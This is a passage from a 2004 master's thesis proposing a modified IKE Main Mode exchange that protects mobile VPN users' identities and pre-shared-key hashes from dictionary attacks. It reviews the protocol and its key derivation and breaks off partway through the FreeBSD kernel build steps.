2004

Internet key exchange (IKE) based secure wireless and mobile networks

Meenakshi Vohra
San Jose State University

Follow this and additional works at: https://scholarworks.sjsu.edu/etd_theses

Recommended Citation

Vohra, Meenakshi, "Internet key exchange (IKE) based secure wireless and mobile networks" (2004).
Master's Theses. 2593.

DOI: <https://doi.org/10.31979/etd.dc2q-vh3u>
https://scholarworks.sjsu.edu/etd_theses/2593

This Thesis is brought to you for free and open access by the Master's Theses and Graduate Research at SJSU ScholarWorks. It has been accepted for inclusion in Master's Theses by an authorized administrator of SJSU ScholarWorks. For more information, please contact scholarworks@sjsu.edu.

**INTERNET KEY EXCHANGE (IKE) BASED SECURE
WIRELESS AND MOBILE NETWORKS**

A Master of Science in Engineering Thesis

Presented to

The Faculty of the Department of General Engineering

San Jose State University

In Partial Fulfillment

of the Requirements for the Degree

Master of Science in Engineering

by

Meenakshi Vohra

May 2004

UMI Number: 1420475

Copyright 2004 by
Vohra, Meenakshi

All rights reserved.

INFORMATION TO USERS

The quality of this reproduction is dependent upon the quality of the copy submitted. Broken or indistinct print, colored or poor quality illustrations and photographs, print bleed-through, substandard margins, and improper alignment can adversely affect reproduction.

In the unlikely event that the author did not send a complete manuscript and there are missing pages, these will be noted. Also, if unauthorized copyright material had to be removed, a note will indicate the deletion.

UMI[®]

UMI Microform 1420475

Copyright 2004 by ProQuest Information and Learning Company.

All rights reserved. This microform edition is protected against
unauthorized copying under Title 17, United States Code.

ProQuest Information and Learning Company
300 North Zeeb Road
P.O. Box 1346
Ann Arbor, MI 48106-1346

© 2004

Meenakshi Vohra

ALL RIGHTS RESERVED

APPROVED FOR THE DEPARTMENT OF GENERAL ENGINEERING

Prof. Jalel Rejeb, Project Advisor
Department of Electrical Engineering

Dr. Javad (Jim) Dorosti, Program Advisor
Department of General Engineering

Prof. Thuy T. Le
Department of Electrical Engineering

APPROVED FOR THE UNIVERSITY

ABSTRACT

Internet Key Exchange (IKE) Based Secure Wireless and Mobile Networks

by Meenakshi Vohra

Internet Key Exchange (IKE) is an IP Security (IPsec) protocol that is used for establishing security associations and key negotiations between two hosts over insecure medium. In this report, first the different implementations of IKE protocols that are widely used in wired networks are examined, focusing on their security flaws when considered for use in wireless and Mobile IP networks. Then a variant of IKE protocol that is deployable in wireless and mobile networks is presented. The proposed protocol is based on pre-shared key authentication during IKE Phase 1. The advantages of the proposed approach over existing solutions, which include identity protection, scalability, low overhead costs, and less susceptible to passive dictionary based attacks, are illustrated. The detailed design, implementation, and testing of proposed solution are also presented. The various test tools, test setups, and test utilities used in demonstrating existing flaws and implementing proposed solution are explained in detail.

ACKNOWLEDGMENTS

I would like to thank everyone who helped me in the completion of this thesis, without whom it would not have been accomplished. I would like to express gratitude to Prof. Jalel Rejeb for providing this opportunity and his generous gift of time, support, and encouragement throughout the work. I would also like to sincerely thank Dr. Jim Dorosti, my graduate advisor, for his continuous guidance and insight.

I am thankful to all my graduate committee members Prof. Jalel Rejeb, Dr. Jim Dorosti, Prof. Thuy Le for their support and the administrative group of Electrical Engineering for helping me create the needed setup with all necessary equipment. I would also like to thank Mr. Scott Kelly, a participant in IETF working group meetings relating to network security and development of standards documents for giving me an insight into this research area. Finally, I would like to thank my spouse, Sumeet, who persevered almost as much during the completion of this thesis.

TABLE OF CONTENTS

1.	INTRODUCTION.....	1
1.1	Introduction and Background.....	1
1.2	Organization.....	4
2.	IKE PROTOCOL OVERVIEW.....	5
2.1	IKE Phase 1.....	9
2.2	IKE Phase 2.....	23
3.	PROPOSED (REVISED) IKE OVERVIEW.....	26
4.	PROJECT PLATFORM.....	33
5.	PLATFORM PREPARATION STEPS.....	35
5.1	Preparing the FreeBSD VPN Gateways.....	35
5.1.1	Installing FreeBSD4.8.....	35
5.1.2	Building FreeBSD4.8 Kernel.....	35
5.1.3	Rebuilding Kernel with IPSec Support.....	36
5.1.4	Installing Racoon (IKE) Daemon.....	37
5.2	Preparing Security Attack Utilities.....	50
5.2.1	Installing Perl 5.8 on VPN Gateways.....	50
5.2.2	Installing Active Perl 5.8 on Windows.....	50
5.2.3	Installing Ethereal Packet Analyzer on Windows.....	51
5.2.4	Installing IKE Cracker Utility.....	51
5.3	Preparing Hosts behind VPN Gateways.....	51
5.4	Preparing Remote VPN Client.....	51
6.	TESTING SECURITY ATTACKS.....	52
6.1	Attack on Pre-shared Secret with VPN Gateways.....	52
6.2	Attack on Pre-shared Secret with a VPN Client connecting to a VPN Gateway..	63
7.	PROPOSED IMPLEMENTATION DETAILS.....	65
7.1	Overview.....	65
7.2	Modified State Machine Details.....	67
7.3	Modified Code Details.....	68
7.3.1	Initiator Changes.....	68
7.3.2	Responder Changes.....	76
8.	TESTING PROPOSED IMPLEMENTATION.....	82

9. FUTURE ENHANCEMENTS	87
10. CONCLUSION.....	88
References.....	89
Appendix.....	92
Terminology.....	92

LIST OF FIGURES

Figure 1: VPN IPSec Solution for Wireless through Firewall Rules.....	3
Figure 2: IPSec Tunnel Establishment Steps	6
Figure 3: ISAKMP Fixed Header and Payload Header format.....	7
Figure 4: IKE Phase 1 Secure Channel Setup.....	9
Figure 5: Main Mode Exchange with Pre-shared Secrets.....	11
Figure 6: Main Mode Exchange Messages 1 and 2 Format.....	12
Figure 7: Main Mode Exchange Messages 3 and 4 Format.....	13
Figure 8: Main Mode Exchange Messages 5 and 6 Format.....	13
Figure 9: IKE Aggressive Mode with Pre-shared Secrets.....	14
Figure 10: IKE Main Mode with Public Key Signatures	18
Figure 11: IKE Main Mode with Public Key Encryption	19
Figure 12: IKE Main Mode with Revised Public Key Encryption	21
Figure 13: IKE Quick Mode Exchange.....	23
Figure 14: Existing Main Mode Exchange with Pre-shared Key Authentication.....	27
Figure 15: Proposed Main Mode Exchange with Pre-shared Key Authentication	28
Figure 16: Proposed Main Mode Exchange with Pre-shared Key for Mobile Users.....	28
Figure 17: Setup Configuration.....	34
Figure 18: Ethereal Dump of Tunnel Establishment and Encapsulation	53
Figure 19: Windump Capture for Tunnel Establishment.....	54
Figure 20: Proposed State Machine for 3rd Message Exchange from Initiator	67
Figure 21: Proposed State Machine for 5th Message Exchange from Initiator	67
Figure 22: Responder State Machine for the Proposed Approach.....	68

LIST OF TABLE

Table 1 Comparative Studies of Mobile User Security for IPSec VPN Solutions	31
---	----

1. INTRODUCTION

1.1 Introduction and Background

The rapid increase in use of wireless networks for transmitting confidential data and conducting commercial transactions such as mobile e-commerce is creating large demand for designing secure wireless systems. In an attempt to address these demands, a growing number of approaches and standards is being proposed and implemented. In IEEE 802.11 infrastructure-based wireless networks, the well-known WEP (see Terminology) protocol was initially designed to make the wireless LAN as secure as the wired LAN, but it was then found to have many security flaws (Borison, Goldberg, and Wagner, 2001). The usage of static pre-shared keys between the access point and hosts, and the weakness in its encryption algorithm, RC4, are probably the most important security pitfalls of WEP protocol. Moreover, WEP standard committee left many important security concerns such as host authentication and key-management protocols unspecified. For these reasons, WEP protocol is being replaced by the new emerging standard from IEEE committee, 802.11i protocol, which promises to fix WEP flaws and provides better security schemes for wireless networks (IEEE Std. 802.11i/D4.1., July 2003).

An alternative approach to WEP or 802.11i protocols is the application of VPN (Virtual Private Networks) to design secure wireless networks. Traditionally, VPN is used in wired networks to provide secure access to remote hosts through the creation of a dedicated path, referred as tunnel, over insecure medium, for example, Internet between

VPN clients and a server (Izzo, 2000). Using VPN technology in wireless medium essentially consists of configuring the AP to have open access with no encryption protection (no WEP), while wireless access is isolated to remaining mobile hosts of a BSS (Basic Service Set) cell, and can only be obtained through VPN end points which are directly connected to the AP (Cheng, 2001). Authentication and encryption mechanisms are all carried out by the VPN end points. To create a large wireless LAN, several BSS cells can be securely connected together by establishing a secured path between the APs. Many enterprises and organization are already deploying VPN technology as it provides robust, secure, and scalable solution with low administration cost for their wireless networks.

A key design aspect in the implementation of VPN solution is security associations (SA) and key negotiation phase between the AP and remote user or host. IKE (Internet Key Exchange) is the IPsec (IP Security) protocol designed to provide such security services. IPsec defines encryption, authentication, and key management routines for ensuring privacy, integrity, and authenticity of data. Current implementations of IKE for wireless and mobile hosts are based on using pre shared key for authentication. However, this approach can lead to serious security flaw as user identification and other relevant information (next section provides more details) are exposed and an adversary can easily subvert them. A possible remedy to overcome this flaw is the use of certificates. This solution, although manageable in wired LAN, poses significant additional complexities and overhead cost for wireless LAN since it leads to a

dependency on public key infrastructure (RFC 3280: Internet X.509 Public Key Infrastructure Certificate and CRL Profile; Cheng, 2001). In this report, a new approach based on pre-shared key is proposed, where the IKE negotiation phase is modified to provide both user identity protection through encryption and prevention of dictionary based passive attacks on pre-shared keys. A sample VPN IPSec solution for Wireless is depicted in Figure 1.

Figure 1: VPN IPSec Solution for Wireless through Firewall Rules

As depicted in this figure, the wireless network is outside the corporate firewall. The wireless users use the same IPSec clients as are currently being used by wired networks.

Also, since VPN access via Internet is common, most users already have the necessary client software, so the transition to wireless use is easy (Wireless IPSec).

1.2 Organization

The rest of this paper is organized as follows. Section 2 provides an overview of IKE protocol and its most commonly used variants. Section 3 provides an overview of proposed and revised IKE based solution for wireless and mobile networks. This section also compares the proposed design to existing solutions. Section 4 gives an overview of the platform with details of hardware and software used. Section 5 describes the details of the platform preparation including building and installation steps for kernel and other processes used. Section 6 covers the detailed steps of performing security attacks on existing solutions.

Section 7 describes in detail about the proposed and revised implementation with changes to existing state machine. Section 8 describes testing of the proposed implementation. Section 9 covers future enhancements. Section 10 includes the concluding remarks. A list of references, and appendix with terminology is also included at the end of this report.

2. IKE PROTOCOL OVERVIEW

IKE is a UDP based protocol used to authenticate and establish shared secret keys for securing the IPSec traffic. IPSec acts at the network layer, protecting and authenticating IP packets between the IPSec devices. IKE process requires that the IPSec systems first authenticate themselves to each other and establish shared keys. The IKE specification refers the two RFC's namely, ISAKMP (RFC 2408: Internet Security Association and Key Management Protocol), and DOI (RFC 2407: The Internet IP Security Domain of Interpretation for ISAKMP). ISAKMP specification provides a general framework for the key management protocol and DOI defines the context in which the key management protocol should operate. IKE defines the actual protocol details which includes two phases: Phase 1 and Phase 2. Phase 1 provides mutual authentication and establishes the session keys to protect IKE traffic. IKE Phase 1 creates an authenticated secure channel between the two IKE peers that is called the IKE Security Association . A Security Association is a relationship between two or more entities that describes how the entities will use security services to communicate securely. Phase 2 deals with the protection of actual IP traffic and derives the session keys that are used in the encryption and authentication of actual VPN data traffic. In Phase 2, IKE negotiates the IPSec security associations and generates the required key material for IPSec. These phases have been described more in detail in the next sub sections.

An IPSec process can be divided into the following five steps (VPN and VPN Technologies):

- 1) *Interesting traffic initiating the IPSec negotiation:* In this step the traffic for which the security policy is configured initiates the creation of a tunnel on not finding any security association.
- 2) *IKE Phase 1:* IKE authenticates IPSec peers and negotiates IKE SAs during this phase, setting up a secure channel for negotiating IPSec SAs in phase two.
- 3) *IKE Phase 2:* IKE negotiates IPSec SA parameters and sets up matching IPSec SAs in the peers.
- 4) *Data Transfer:* Data is transferred between IPSec peers based on the IPSec parameters and keys stored in the SA database
- 5) *Tunnel Termination:* IPSec SAs termination through deletion or by timing out.

Figure 2: IPSec Tunnel Establishment Steps

The above figure depicts the basic steps that take place in a tunnel creation process.

ISAKMP

ISAKMP specification defines a two-phase approach. It provides a high-level framework for the key management protocol. It defines the encoding formats for the payloads that are exchanged during the protocol (RFC 2407: The Internet IP Security Domain of Interpretation for ISAKMP). It also specifies the template that includes information like the number of messages to be exchanged, ordering of those messages and the information included in those messages. All ISAKMP packets have a fixed ISAKMP header followed by the ISAKMP payloads. The ISAKMP payloads also have a generic header followed by the respective contents.

Figure 3: ISAKMP Fixed Header and Payload Header format

The fixed ISAKMP header contains information like cookies, message ids, next payload, length etc. The cookie and message ids are used to identify different Security Associations (SAs). The exchange of “cookies” also provides security against “Denial of Service” attacks. All ISAKMP payloads also have a generic header that includes the information like length, or next payload. The Next payload field in the ISAKMP header links the various payloads in the ISAKMP packet. The ISAKMP strong authentication mechanism prevents the secure tunnel from being established with unauthorized user while the ISAKMP state machine prevents against man-in-the middle attacks (RFC 2408: Internet Security Association and Key Management Protocol).

Security Association (SA)

The concept of a security association (SA) is fundamental to IPsec. An SA is a relationship between two or more entities that describes how the entities will use security services to communicate securely. IPsec provides many options for performing network encryption and authentication. Each IPsec connection can provide encryption, integrity, authenticity, or all three. When the security service is determined, the two IPsec peers must determine exactly which algorithms to use, for example, DES or 3DES for encryption, MD5 or SHA for integrity. After deciding on the algorithms, the two devices must share session keys (VPN and VPN Technologies).

2.1 IKE Phase 1

During IKE Phase 1 an authenticated and a secure channel is created between the two peers using Diffie-Hellman Key exchange (RFC 2409: The Internet Key Exchange). This is based on identities of the communicating parties and the secrets used between them. The identities can be such as domain names, user names, IP addresses, Fully Qualified Domain Names. The secrets can be based on the pre-shared secrets or the public key pairs. The secret keys generated in this Phase are used to protect the Phase 2 exchange. The IKE Phase 1 exchange can be one of the two modes: Main Mode and Aggressive Mode. Main Mode consists of 6 message exchanges while Aggressive Mode is only 3 message exchanges. Authentication of the two communicating parties in IKE is done using one of the four methods with pre-shared keys, public key signatures, public key encryption, or revised public key encryption. A sample IKE Phase 1 setup is depicted in Figure 4.

Figure 4: IKE Phase 1 Secure Channel Setup

As depicted in Figure 4, a packet from Alice to Bob does not find any SA initially. In step 2 Alice initiates the SA negotiation with Bob. Once the Phase 1 and Phase 2 negotiation is complete both Alice and Bob have the needed keys as shown in step 3. As shown in step 4, the packets from Alice to Bob are now protected by the IPSec SAs (IPSec Overview Part Four: Internet Key Exchange).

IKE with Pre-shared Secrets

In this approach, the two endpoints share a common “secret” and the mutual authentication of the endpoints is done through the hash generated using these pre-shared secrets. The receiving endpoint generates the independent hash using its pre-shared key and compares it with the received hash. If the two hashes are identical it authenticates the peer as possessing the same “pre-shared secret.”

IKE Main Mode

The main mode message activities between two hosts, commonly referred as Alice and Bob in cryptographic literature, are as illustrated in Figure 5.

Figure 5: Main Mode Exchange with Pre-shared Secrets

In this approach, mode exchange involves 6 message exchanges between Alice and Bob. Messages 1 and 2 negotiate the proposals that consists the information such as encryption algorithms, hash algorithms to be used to secure the communication. As shown, Alice sends its cookie and the requested algorithms to Bob in SA payload. Bob responds with its cookie and the agreed upon encryption and hash algorithms. Messages 3 and 4 perform Diffie-Hellman exchange through Key Exchange (KE) payload and also exchange nonces, a random number, for liveliness. The shared secret is generated after this exchange. Messages 4 and 5 perform mutual authentication of the two peers by exchanging each others identity and sending the Hash payloads. These messages are

encrypted and result in creation of the matching IKE SAs between the peers. These IKE SAs, often called ISAKMP SAs, protect all subsequent IKE exchanges.

The linking of various payloads is summarized in Figures 6, 7, and 8.

Figure 6: Main Mode Exchange Messages 1 and 2 Format

Figure 7: Main Mode Exchange Messages 3 and 4 Format

Figure 8: Main Mode Exchange Messages 5 and 6 Format

IKE Aggressive Mode

The aggressive mode negotiation between Alice and Bob is as illustrated in Figure

9.

Figure 9: IKE Aggressive Mode with Pre-shared Secrets

In this approach, the mode exchange involves 3 message exchanges between Alice and Bob. Messages 1 and 2 perform Diffie-Hellman exchange through Key Exchange (KE) payload. They also exchange the proposals, nonces and the identities in these

messages. Messages 2 and 3 perform mutual authentication of the two peers through the Hash payloads.

Comparing Main Mode with Aggressive Mode

The advantage of Aggressive mode over Main mode is the information exchange with less number of messages that would mean less bandwidth usage. This is achieved by performing the proposals negotiation and the key exchange at the same time. But this is done at the expense of exposing the endpoint identities. In Main Mode, identities of the two endpoints are more secured since they are encrypted. However, using existing Main Mode implementations with pre-shared secrets, only IP address can be used to identify the pre-shared secret. This limitation is due to the fact that initiators Hash, that is dependent on the identity (RFC 2409: The Internet Key Exchange) as to be computed before receiving the responder's identity. With Aggressive Mode, initiator's identity gets exchanged in the 1st message so can be used to extract the pre-shared secret. The initiators Hash is calculated as follows:

$$\text{HASH_I} = \text{hash}(\text{SKEYID}, g^{\text{xi}} | g^{\text{xr}} | \text{CKY-I} | \text{CKY-R} | \text{SA} | \text{IDii_b})$$

where, SA is the SA payload,

g^{xi} and g^{xr} are the DH public values of the initiator and responder respectively exchanged in key exchange payload,

CKY_I and CKY_R are the initiators and responders cookies respectively,

ID_{ii} is the initiators identity, HASH_I is the initiators hash,

SKEYID is the base key calculated based on the authenticated method and is described in the next section.

Phase 1 Session Keys generation mechanism

The IKE Phase finally results in an ISAKMP SA with three secret keys shared between the peers. The session key generation mechanism used by IKE protocol is described in RFC 2409 (RFC 2409: The Internet Key Exchange). The main steps of the key generation mechanism are as follows.

Step 1: $SKEYID = \text{hash}(\text{pre-shared-key}, Ni_b \parallel Nr_b)$

where, Ni is the initiators nonce and Nr is the responders nonce,

SKEYID is the base Key that is derived differently for pre-shared secrets, public key signatures, public key encryption and revised public key encryption

The result of either Main Mode or Aggressive Mode is three groups of authenticated keying material:

Step 2: $SKEYID_d = \text{hash}(SKEYID, g^{xy} \parallel CKY-I \parallel CKY-R \parallel 0)$

Step 3: $SKEYID_a = \text{hash}(SKEYID, SKEYID_d \parallel g^{xy} \parallel CKY-I \parallel CKY-R \parallel 1)$

Step 4: $SKEYID_e = \text{hash}(SKEYID, SKEYID_a \parallel g^{xy} \parallel CKY-I \parallel CKY-R \parallel 2)$

where, g^{xy} is the Diffie-Hellman shared secret generated by the peers after DH key exchange,

CKY-I and CKY-R are the initiators and responders cookies respectively.

The key used for encryption is derived from SKEYID_e. The key used for authentication is SKEYID_a and the SKEYID_d is used for further deriving the keys in Phase 2

To authenticate either exchange the initiator of the protocol generates HASH_I and the responder generates HASH_R where:

$$\text{HASH_I} = \text{hash}(\text{SKEYID}, g^{xi} | g^{xr} | \text{CKY-I} | \text{CKY-R} | \text{SA} | \text{IDii_b})$$

$$\text{HASH_R} = \text{hash}(\text{SKEYID}, g^{xr} | g^{xi} | \text{CKY-R} | \text{CKY-I} | \text{SA} | \text{IDir_b})$$

where, SA is the SA payload, g^{xi} and g^{xr} are the DH public values of the initiator and responder respectively exchanged in key exchange payload.

IKE with Public Key Signatures

The IKE main mode with public key signatures is as illustrated in Figure 10.

Figure 10: IKE Main Mode with Public Key Signatures

In this approach, the authentication material, Hash, is signed and verified. CERT_I and CERT_R are the public key certificates of initiator and responder respectively. The certificates are part of certificate payloads and are used to sign and verify the payload. This exchange also includes the verification of certificates before actually using them.

The Key generation mechanism is similar to "Phase 1 Session Keys generation mechanism" just discussed above but with

$$\text{SKEYID} = \text{hash}(\text{NONCE_I} \parallel \text{NONCE_R}, g^{xy})$$

where, g^{xy} is the Diffie-Hellman shared secret,

NONCE_I and NONCE_R are the initiators and responders nonces respectively (RFC 2409: The Internet Key Exchange)

IKE with Public Key Encryption

The IKE main mode with public key encryption is as illustrated in Figure 11.

Figure 11: IKE Main Mode with Public Key Encryption

In this approach, the authentication material, HASH, is sent directly to the remote entity for verification. PK_I and PK_R are the public keys of the initiator and responder respectively. This exchange provides the encryption of the nonces and identities with the remotes public key. The nonces being encrypted are used as shared secrets to generate the base secret key as follows:

$$\text{SKEYID} = \text{hash}(\text{NONCE_I} \parallel \text{NONCE_R}, \text{COOKIE_I} \parallel \text{COOKIE_R})$$

where, NONCE_I and NONCE_R are the initiators and responders nonces respectively, COOKIE_I and COOKIE_R are the initiators and responders cookies respectively.

The Key generation mechanism is similar to “Phase 1 Session Keys generation mechanism” discussed above. In addition, in this exchange the access to public key certificates is needed through PKIX (RFC 3280: Internet X.509 Public Key Infrastructure Certificate and CRL Profile).

IKE with Revised Public Key Encryption

The IKE main mode with revised public key encryption is as illustrated in Figure 12.

Figure 12: IKE Main Mode with Revised Public Key Encryption

This method is an improved version of IKE with public key encryption. It reduces the total number of public key operations from four in public key encryption to two in revised public key encryption. Secondly, it provides an option to send the public key certificate in the exchange to the responder so that the responder can make use of the public key in the certificate to encrypt the responder nonce. In this mode, other than the

nonces encryption, all other encryptions make use of symmetric keys. The two symmetric encryption keys are derived as follows:

$$\text{KEY_I} = \text{hash}(\text{NONCE_I}, \text{COOKIE_I})$$
$$\text{KEY_R} = \text{hash}(\text{NONCE_R}, \text{COOKIE_R})$$

where, NONCE_I and NONCE_R are the initiators and responders nonces respectively, COOKIE_I and COOKIE_R are the initiators and responders cookies respectively

Comparing Pre-shared Secrets with Certificates

The disadvantage of using a pre-shared key is lack of scalability i.e. distribution to the endpoints. As a result, a compromise of pre-shared secret would require the change in configuration at all endpoints. Usually many roaming clients share the same pre-shared key. With certificates these issues are solved by simply revoking a certificate if it gets compromised and there is no need for endpoint's reconfiguration. Also, it provides better scalability than using pre-shared secrets. However, certificates based authentication requires a PKI deployment or a minimum PKIX (Public Key Infrastructure), for example, a Certificate Authority (CA) to issue certificates (RFC 3280: Internet X.509 Public Key Infrastructure Certificate and CRL Profile). The configuration needed for certificates is complex and needs considerable amount of configurations. Moreover, with certificates based deployment the two endpoints have to rely on third parties (RFC 3280: Internet X.509 Public Key Infrastructure Certificate and CRL Profile; Cheng, 2001).

This work mainly focuses on the pre-shared secrets based authentication for wireless and mobile networks.

2.2 IKE Phase 2

IKE Phase 2 negotiation deals with the protection of actual IP traffic and derives the session keys that are used in the encryption and authentication of actual VPN data traffic. It derives the fresh key material through Phase 1 keys and if needed performs the Diffie-Hellman exchange again to provide more security.

The quick mode negotiation between Alice and Bob is as illustrated in Figure 13.

Figure 13: IKE Quick Mode Exchange

In this approach, the quick mode exchange involves 3 message exchanges between the peers. It occurs after secure tunnel creation by Phase 1. All the messages are encrypted with Phase 1 SAs. Messages 1 and 2 perform policy exchange, an optional Diffie-Hellman exchange, and nonces for replay protection. The nonces also help generating the key material and Hashes exchanged provide authentication. With “Perfect Forward Secrecy (PFS) ” the Diffie-Hellman exchange helps generating the key material that is not dependent on Phase 1 thereby providing more security. The Phase 2 completion establishes the secure tunnel for the data.

Phase 2 Session Keys generation mechanism

During Phase 2, HASH(1), HASH(2), and HASH(3) authenticate the messages.

These hashes are generated through the SKEYID_a generated during Phase 1 as follows (RFC 2409: The Internet Key Exchange).

$$\text{HASH}(1) = \text{hash}(\text{SKEYID_a}, \text{M-ID} \mid \text{SA} \mid \text{Ni} \mid \text{KE} \mid \text{IDci} \mid \text{IDcr})$$
$$\text{HASH}(2) = \text{hash}(\text{SKEYID_a}, \text{M-ID} \mid \text{Ni_b} \mid \text{SA} \mid \text{Nr} \mid \text{KE} \mid \text{IDci} \mid \text{IDcr})$$
$$\text{HASH}(3) = \text{hash}(\text{SKEYID_a}, 0 \mid \text{M-ID} \mid \text{Ni_b} \mid \text{Nr_b})$$

The Key material that is finally used to protect the actual traffic is derived as follows.

$$\text{KEYMAT} = \text{hash}(\text{SKEYID_d}, \text{protocol} \mid \text{SPI} \mid \text{Ni_b} \mid \text{Nr_b}) \text{ without PFS (perfect forward secrecy)}$$
$$\text{KEYMAT} = \text{hash}(\text{SKEYID_d}, g(\text{qm})^{xy} \mid \text{protocol} \mid \text{SPI} \mid \text{Ni_b} \mid \text{Nr_b}) \text{ with PFS.}$$

where, SPI is the Security Parameter Index,

M-ID is the message index used to identify the Phase 2 SA,

SKEYID_e is the encryption key generated in Phase 1,

SKEYID_a is the authentication key generated in Phase 1,

SKEYID_d is the derivation key generated in Phase 1,

Ni and Nr are the initiators and responders nonces respectively.

3. PROPOSED (REVISED) IKE OVERVIEW

Currently, Mobile Users authentication with pre-shared keys in IKE is being done only using Aggressive Mode (RFC 2409: The Internet Key Exchange; Authentication Vulnerabilities in IKE and Xauth with Weak Pre-Shared Secrets; PSK cracking using Aggressive Mode; Perlman, Kaufman). This has serious security related concerns, for example, the user identity is transmitted in clear text thus exposing the actual identity of the user. Moreover, the Hashes that authenticate the either party go in clear text and are susceptible to passive dictionary based attacks for guessing the correct pre-shared secrets (Authentication Vulnerabilities in IKE and Xauth with Weak Pre-Shared Secrets; PSK cracking using Aggressive Mode). Current solutions solve this issue by suggesting the usage of certificates instead of pre-shared keys. However, the use of certificates introduces significant implementation complexities as discussed in the sub section “*Comparing Pre-shared Secrets with Certificates*”. Furthermore the existing Main Mode exchange cannot be used for Mobile Users as the identity in main mode is exchanged in the 4th and 5th messages whereas the pre-shared key have to be identified much ahead to protect 4th and 5th messages (RFC 2409: The Internet Key Exchange).

This section provides details of our proposal implementation using the modified IKE that can be deployed to secure the wireless and mobile users more effectively and at low cost. Low cost is achieved through the use of IKE with pre-shared secrets over certificates. More security is achieved by providing not only complete user identity protection using encryption but also protecting against dictionary based passive attacks on

pre-shared secrets. As opposed to current pre-shared secrets based solutions, where hashes are not encrypted, the proposed implementation provides protection to those hashes.

In our implementation, if pre-shared secrets were to be used with mobile users, they should always use Main Mode over Aggressive Mode with the modifications as indicated in Figure 14 and 15.

<i>Initiator</i>		<i>Responder</i>
-----		-----
HDR, SA	-->	
	<--	HDR, SA
HDR, KE, Ni	-->	
	<--	HDR, KE, Nr
HDR*, IDii, HASH_I	-->	
	<--	HDR*, IDir, HASH_R

Figure 14: Existing Main Mode Exchange with Pre-shared Key Authentication

<i>Initiator</i>		<i>Responder</i>
-----		-----
HDR,SA	-->	
	<--	HDR, SA
HDR,KE,Ni, ID_KEY_ID	-->	{ get preshared key using user info. in the initiator id through authentication server say,RADIUS or local database}
	<--	HDR, KE, Nr

HDR*, Idii(*USER_FQDN*), HASH_I --> {initiator identity protected}

<-- HDR*, IDir, HASH_R

Figure 15: Proposed Main Mode Exchange with Pre-shared Key Authentication

Figure 16: Proposed Main Mode Exchange with Pre-shared Key for Mobile Users

As depicted in this figure, the remote mobile users actual identity, say, *USER_FQDN* MUST be exchanged in the 5th main mode IKE message and so will remain protected by the derivatives of the Diffie-Hellman keys. This will give Remote Users same protection as is given to the identities with Main Mode. The main difficulty is how to identify the

pre-shared key that, for instance, is based on Remote IP addresses for remote gateways in main mode. For mobile users we propose that the clients send some identification, say, the user name or group name in the 3rd message exchange through the ISAKMP identity payload ID_KEY_ID. This user information can be used by the remote to access the pre-shared secret. A remote gateway can use another authentication server like RADIUS for retrieval of the pre-shared keys or can store this information on itself depending on its implementation. However, with Radius authentication server this approach will be more scalable. Once the pre-shared secret is accessed the Main Mode key generations should be as per the RFC (RFC 2409: The Internet Key Exchange). In this approach, the 5th message exchange will validate the true identification of the Remote Users through the identity USER_FQDN and being encrypted it would solve the existing issue of no identity protection provided for remote users with Aggressive mode pre-shared secrets. Phase 1 can be followed by Extended Authentication (XAuth) to provide further user authentication and IKE configuration (IKE-CFG) for the exchange of private IP address, DNS, WINS address for instance (Extended Authentication within ISAKMP/Oakley). However, this further authentication and IP address assignment can be handled in the following ways:

1. Using Extended Authentication (XAuth) with IKE-CFG

Here, as with current solutions the user and password authentication would start after Phase 1 and the IP address assignment along with other parameters like DNS, WINS

etc... would be exchanged with IKE-CFG. The IKE-CFG is also recommended to enforce IP expiry.

2. Using L2TP over IPSec

Here, a Layer 2 tunneling protocol (L2TP) can be used to provide authentication and the IP address allocation whereas the IPSec can provide the needed encryption.

Suggestion to overcome the IP Address Exhaustion Problem

For the mobile users the IP addresses exhaustion problem can be addressed by enforcing the IP expiry limit to some valid small value. This Expiry limit should be set by the service provider when assigning the IP address. Also, by setting the authentication time expiry the user can be asked to get re-authenticated after authentication expiry.

For the scenario where the Internet service providers use NATs to share public IP address the IPSec-NAT Traversal (UDP Encapsulation of IPSec Packets) can be used to send IPSec-protected traffic across a NAT

Group Information

We also propose if username does not need be sent in the 3rd message then a group id can also be transmitted. The idea is to be able to extract the pre-shared key using the information like username or groupid in ID_KEY_ID. The group id can also be a domain name for instance.

Table 1 Comparative Studies of Mobile User Security for IPSec VPN Solutions

	Aggressive Mode with Pre-shared keys	Aggressive Mode with Signatures (Certificates)	Main Mode with Signatures (Certificates)	Proposed Main Mode with pre-shared keys
Identity Protection through Encryption	×	√	√	√
Better Protection against Passive Dictionary based attacks on Pre-shared Secret (tools like IKE crack)	×	√	√	√
PKI Deployment Not Needed (Less Complexity)	√	×	×	√
Less Cost	√	×	×	√

√: Supported

×: Non-Supported

Table 1 provides comparison of our implementation to existing solutions. As depicted in this table our proposed solution provides more security with low cost. Low cost because no PKI deployment is needed. More Security as identity goes protected. Also, the issue of dictionary based attack on pre-shared secrets with Aggressive mode

will be minimized here as there will not be any plain text Hash exchange against which the attacker will verify his/her offline pre-shared secret attacks.

4. PROJECT PLATFORM

Hardware:	Pentium AMD
Memory:	6 GB 9 GB
O.S Version:	Free BSD 4.8 Windows 2000
Utilities:	Windump WinPcap Tcpdump Perl Ethreal Packet Analyzer
VPN Gateways:	Free BSD 4.8 with IPSec support Racoon (IKE) Daemon
VPN Clients:	SSH Sentinel Evaluation VPN Client

An open IPSec source code available with FreeBSD systems is used to implement and test the proposed IKE (FreeBSD IPSec mini-HOW TO). Mobile users can connect to a Free BSD Gateway that will act as the tunnel endpoint. There are many tools available such as IKE Cracker (IKECrack) that makes use of existing flaws in IKE Aggressive mode with pre-shared secrets and perform dictionary based attack on the key/password

being used with IKE Aggressive mode. Figures 20, 21 and 22 summarize the proposed state machine. Figure 17 shows the general testbed topology used in our approach.

Figure 17: Setup Configuration

5. PLATFORM PREPARATION STEPS

5.1 Preparing the FreeBSD VPN Gateways

The FreeBSD version 4.8 was installed on the two Gateways through the FreeBSD installation CD's. as described below.

The following steps were repeated for two FreeBSD Gateways named, VPN-GW1.engr.sjsu.edu (130.65.153.165) and VPN-GW2.engr.sjsu.edu (130.65.153.42)

5.1.1 *Installing FreeBSD4.8*

From the FreeBSD installation CD's follow the following installation steps:

- From the Kerenel configuration menu start kernel configuration
- Select "Standard" for standard mode of installation
- Select the default option for installing Boot Manager
- Select the 'All' option for creating Disk Partition
- In the Distribution select option select "All"
- In the Installation Media options select "Install from a FreeBSD CD"

5.1.2 *Building FreeBSD4.8 Kernel*

The following steps were used for building and installing the FreeBSD kernel:

1. `cd /usr/src/sys/i386/conf`
2. `cp GENERIC MYKERNEL`

3. `mkdir /root/kernels`
